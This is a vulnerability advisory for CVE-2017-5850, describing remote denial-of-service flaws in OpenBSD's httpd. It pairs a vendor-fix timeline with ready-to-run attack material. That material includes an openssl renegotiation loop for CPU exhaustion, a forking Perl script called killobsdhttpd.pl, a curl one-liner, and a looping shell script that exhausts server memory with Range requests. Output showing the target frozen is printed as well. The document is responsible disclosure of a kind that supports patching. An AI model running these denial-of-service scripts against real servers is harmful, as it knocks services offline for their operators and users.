CVE-2017-5850 - Remote DoS against OpenBSD http server (up to 6.0)

Product Description

The OpenBSD project produces a FREE, multi-platform 4.4BSD-based UNIX-like operating system.

Vulnerabilities Summary

The shipped HTTP daemon in OpenBSD (up to the latest version) is prone to 2 remote DoS.

The first vulnerability allows an attacker to consume all the CPU power from the remote server (CPU exhaustion).

The second vulnerability (Memory exhaustion) allows an attacker to consume all the RAM and the swap space on the remote side. Processes will be killed when running out of swap space. The system will be likely to freeze.

Details - CPU exhaustion (no CVE entry)

OpenBSD's httpd is prone to a SSL DoS with SSL renegotiation:

user@kali:~$ (sleep 1; while true;do echo R;done) | openssl s_client -connect 10.0.2.15:443 CONNECTED(00000003) depth=0 C = XX, ST = secure.example.com, CN = secure.example.com verify error:num=18:self signed certificate verify return:1 depth=0 C = XX, ST = secure.example.com, CN = secure.example.com verify return:1 --- Certificate chain 0 s:/C=XX/ST=secure.example.com/CN=secure.example.com i:/C=XX/ST=secure.example.com/CN=secure.example.com --- Server certificate -----BEGIN CERTIFICATE----- MIIDCjCCAfICCQC0tQxJqUqQTzANBgkqhkiG9w0BAQsFADBHMQswCQYDVQQGEwJY WDEbMBkGA1UECAwSc2VjdXJlLmV4YW1wbGUuY29tMRswGQYDVQQDDBJzZWN1cmUu ZXhhbXBsZS5jb20wHhcNMTcwMTI3MTU0MjMzWhcNMTgwMTI3MTU0MjMzWjBHMQsw CQYDVQQGEwJYWDEbMBkGA1UECAwSc2VjdXJlLmV4YW1wbGUuY29tMRswGQYDVQQD DBJzZWN1cmUuZXhhbXBsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK AoIBAQCjIY7mMaNVLmPDA4ir59mgdQEM4TFTgz5cv9SqU4hQq0eVmpJkEfJPHErF to5NdF2ZIqhL+F34GqZcCC8qO3xB33dAevENWWbA4KObpIybHr8bFeDYYl5GuaCO hizmcffU3P1ztRNXB4sCTTQwkyry8ZUDaeINLGMb0HhFR9u5TJY6tSB0KMIuiBsH 1hEp8bNxUM046D0wkZkyIgM/or6uj5jRj33aYUn6ZiU8a6UKSAVZJLqziyNcQ0hA 64gS6oapUnMVYJIUDJynOhY5e8xZmD+2pB4NLTIxAEdSyQ4wQ4jBiRFVL+E68fuw kASmrA4gAbSCO+lYBO8wCRiVOwOdAgMBAAEwDQYJKoZIhvcNAQELBQADggEBAC1L 213ziHqFmC8nLWvvjyoHY2PRFS1ofrfciv+fpohn2GN+eVb8DGTo+KLZ910/PUPk dzTa7eOlkvR1OG7BUlnia6pGQqizTodvzx0DGgl76k4VpEvJAOZ4f7Plry4qgr5Y y3Fwym1k3DlNJ5Jqh8Vp2HETbqcovATsUHRS5t/oc6N2egq1DYVC5CdGRgvmmUl+ NBjKOASYoP8S4OQ51wMmXrygFqKcEkq4/GTUFEaamrbM/J+ChD9EqejSKzZ5owRh 74v10s30OylBdmfOLeyrMv5s6DnJRAdtFEH9Wg7sQDt1P3bGOsObVZlmHCtArl4k m1nHRn8scAFP7QbHl34= -----END CERTIFICATE----- subject=/C=XX/ST=secure.example.com/CN=secure.example.com issuer=/C=XX/ST=secure.example.com/CN=secure.example.com --- No client certificate CA names sent --- SSL handshake has read 1548 bytes and written 503 bytes --- New, TLSv1/SSLv3, Cipher is ECDHE-RSA-AES256-GCM-SHA384 Server public key is 2048 bit Secure Renegotiation IS supported Compression: NONE Expansion: NONE SSL-Session: Protocol : TLSv1.2 Cipher : ECDHE-RSA-AES256-GCM-SHA384 Session-ID: DA628A16EF4F067ED81E7A26EFA18D9A7D53CBC4ED54C8F6DC11E5E60FF76530 Session-ID-ctx: Master-Key: 9235AFEBCF2A517E896A06CAA7A1AF916646DB5BB4C99B53A79627351C0FFB936EB863B0E50A67DF70A354773CF049BE Key-Arg : None PSK identity: None PSK identity hint: None SRP username: None TLS session ticket lifetime hint: 300 (seconds) TLS session ticket: 0000 - 49 f1 29 da 9e 08 f2 74-c6 f3 eb a1 c7 ee 40 bb I.)....t......@. 0010 - 96 75 54 c8 4f 32 53 7e-51 40 4e a8 e9 57 41 a5 .uT.O2S~Q@N..WA. 0020 - 73 3d a9 d6 b8 f7 a0 f8-15 cb be fb f1 4d d9 81 s=...........M.. 0030 - a8 79 56 11 5d 05 32 05-49 df 2b f3 71 89 36 a1 .yV.].2.I.+.q.6. 0040 - 93 dc b9 b5 00 48 6f 94-b1 c5 78 f8 38 3c 63 29 .....Ho...x.8<c) 0050 - ed 45 a2 9e ae fc 7e d7-12 76 34 15 93 b1 3d 3d .E....~..v4...== 0060 - d7 0a 14 f1 01 a7 87 6c-50 93 25 24 5e 4f 1b fa .......lP.%$^O.. 0070 - 51 03 4b fa 7e 23 83 99-51 f6 47 10 8c d1 0e 41 Q.K.~#..Q.G....A 0080 - 5a f7 a5 10 33 a7 37 5d-9b 5e b0 b6 19 e7 e2 61 Z...3.7].^.....a 0090 - ec ea 1c 72 3c 4a ec 11-0f 26 35 76 6e d9 cb 4d ...r<J...&5vn..M 00a0 - c7 f8 57 cb 50 f6 47 02-6b ca be cc 29 04 b7 dc ..W.P.G.k...)... 00b0 - e0 d1 cc 8e 5b f9 05 06-10 72 d7 b6 8e cf 42 6a ....[....r....Bj Start Time: 1485536662 Timeout : 300 (sec) Verify return code: 18 (self signed certificate) --- RENEGOTIATING depth=0 C = XX, ST = secure.example.com, CN = secure.example.com verify error:num=18:self signed certificate verify return:1 depth=0 C = XX, ST = secure.example.com, CN = secure.example.com verify return:1 RENEGOTIATING depth=0 C = XX, ST = secure.example.com, CN = secure.example.com verify error:num=18:self signed certificate verify return:1 depth=0 C = XX, ST = secure.example.com, CN = secure.example.com verify return:1 RENEGOTIATING depth=0 C = XX, ST = secure.example.com, CN = secure.example.com verify error:num=18:self signed certificate verify return:1 depth=0 C = XX, ST = secure.example.com, CN = secure.example.com verify return:1 RENEGOTIATING [...]

From my test, 1 renegociation thread takes =~ 70% of CPU.

top on the main server (10.0.2.15):

14711 www 51 0 1104K 3636K run - 1:07 69.55% httpd

Multiple threads will eat all the available CPUs and will be likely to DoS the httpd:

14711 www 63 0 1192K 3708K run - 2:48 33.45% httpd 77207 www 63 0 1284K 3788K run - 1:33 33.06% httpd 78835 www 62 0 1232K 3808K run - 0:15 28.08% httpd

There is no trace of such attacks in the httpd logs.

An attacker can use tools from THC to perform SSL DoS too (openssl was the fastest solution out of the box): https://www.thc.org/thc-ssl-dos/.

Details - Memory exhaustion (CVE-2017-5850)

A vulnerability exists in the openbsd HTTP daemon. It will result in using all the RAM and the swap space on the remote side, processes will be killed when running out of swap space. The system will be likely to freeze.

Requesting file using a file-range will result in having a httpd process doing a full malloc() of the requested file. It appears the entry is not correctly free()'d.

Hence, it's possible to DoS the remote server by requesting a file over and over by specifying a custom file range, ie:

GET /index.html HTTP/1.1 Range: bytes=1- User-Agent: Pierre loves you Host: fill-me-with-joy

This attack is successful if an attacker can identify a 'big' file (i.e. > 10MB) served by the remote HTTP server.

Here is a provided PoC (loosely based on KingCope's apache_killer.pl):

#!/usr/bin/perl -w use warnings; use IO:: Socket; use Parallel:: ForkManager; $numforks = 50 ; if ( $#ARGV < 1 ) { & usage; exit ; } while ( 1 ) { & killhttpd(); } sub usage { print "OpenBSD HTTP Remote Denial of Service (memory exhaustion) - @PierreKimSec

" ; print "usage: perl killobsdhttpd.pl <host> <remotefile>

" ; } sub killhttpd { print "ATTACKING $ARGV[0] [using $numforks forks]

" ; $pm = new Parallel:: ForkManager( $numforks ); for ( 0 .. $numforks ) { my $pid = $pm -> start and next ; my $sock = IO::Socket:: INET -> new (PeerAddr => $ARGV [ 0 ], PeerPort => "80" , Proto => 'tcp' ); $p = "GET $ARGV[1] HTTP/1.1\r

Range: bytes=1-\r

Accept: */*\r

Host: $ARGV[0]\r

Connection: close\r

\r

" ; print $sock $p ; if ( <$sock> ) { sleep ( 0.5 ); $sock -> close ();} $pm -> finish; } $pm -> wait_all_children; }

An attacker can use curl to replicate the PoC:

curl --limit-rate 1 --continue-at 1 --header "Host: www.example.com" http://target/10mb.fs

Stopping the curl process and launching it again will produce one of the remote httpd to use more than 10MB of memory for each request (the size of the 10mb.fs is 10MB) and will DoS the http server and the OpenBSD system by exhausting all the RAM. The OpenBSD system will likely freeze within minutes.

PoC with curl (more effective than the perl version, it appears):

#!/bin/sh # ./$0 www.target.tld /path/to/file unset http_proxy unset https_proxy for i in $( seq 0 300 ) do echo sending a req curl --limit-rate 1 --continue-at 1 --header "Host: $1 " http:// $1 / $2 2>/dev/null >/dev/null & sleep 0.5 pkill curl done while sleep 1 do echo "sending a req (slow)" curl --limit-rate 1 --continue-at 1 --header "Host: $1 " http:// $1 / $2 2>/dev/null >/dev/null & pkill curl done

This attack works using HTTP and using HTTPS.

Current situation in the attacked server (SWAP is full and all the RAM is being completely used):

load averages: 7.11, 3.30, 1.38 foo.my.domain 10:26:41 39 processes: 6 running, 32 idle, 1 on processor up 0:03 CPU states: 0.0% user, 0.0% nice, 100% system, 0.0% interrupt, 0.0% idle Memory: Real: 569M/961M act/tot Free: 21M Cache: 49M Swap: 2039M/2040M PID USERNAME PRI NICE SIZE RES STATE WAIT TIME CPU COMMAND 48965 www 28 0 1345M 204M run - 0:05 0.00% httpd 43060 www 28 0 1281M 174M run - 0:05 0.00% httpd 91565 www 28 0 1153M 187M run - 0:04 0.00% httpd 63038 www 2 0 948K 4K idle kqread 0:00 0.00% httpd

We see the daemons (httpd and sshd) don't answer anymore:

user@kali:~$ 10.0.2.15 80 Trying 10.0.2.15... Connected to 10.0.2.15. Escape character is '^]'. ^] telnet> q Connection closed. user@kali:~$ telnet 10.0.2.15 80 Trying 10.0.2.15... Connected to 10.0.2.15. Escape character is '^]'. ^] telnet> q Connection closed. user@kali:~$ telnet 10.0.2.15 22 Trying 10.0.2.15... Connected to 10.0.2.15. Escape character is '^]'. ^] telnet> q Connection closed. Connection closed by foreign host.

Vendor Response

o The issue about memory exhaustion has been solved in two ways:

OpenBSD 6.0/5.9: Erratas has been issued at:

https://ftp.openbsd.org/pub/OpenBSD/patches/6.0/common/017_httpd.patch.sig

https://ftp.openbsd.org/pub/OpenBSD/patches/5.9/common/034_httpd.patch.sig

OpenBSD -current: We reimplemented support for byte ranges in -current. The previous implementation was flawed indeed, as it tried to load the complete ranges into memory at once.

o High CPU usage is a well-known issue of client-initiated renegotiation. While this can cause higher than normal CPU usage, the processes are still able to service requests.

As httpd uses LibreSSL's libtls, a sane TLS API on top of libssl, we decided to disable client-initiated renegotiation for libtls servers in -current. This change was already planned and has now been committed to LibreSSL.

Report Timeline

Jan 25, 2017: Vulnerabilities found by Pierre Kim.

Jan 30, 2017: OpenBSD team is notified of the vulnerabilities.

Jan 30, 2017: OpenBSD team replies that they will study the advisory.

Jan 31, 2017: OpenBSD team confirms the vulnerabilities.

Jan 31, 2017: Pierre Kim asks for CVE entries.

Jan 31, 2017: OpenBSD team releases security patches.

Feb 01, 2017: cve-assign () mitre org assigns CVE-2017-5850 and asks for more details.

Feb 07, 2017: A public advisory is sent to security mailing lists.

Credit

These vulnerabilities were found by Pierre Kim (@PierreKimSec).

References

https://pierrekim.github.io/blog/2017-02-07-openbsd-httpd-CVE-2017-5850.html

https://pierrekim.github.io/advisories/CVE-2017-5850-openbsd.txt

https://ftp.openbsd.org/pub/OpenBSD/patches/6.0/common/017_httpd.patch.sig

https://ftp.openbsd.org/pub/OpenBSD/patches/5.9/common/034_httpd.patch.sig

Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/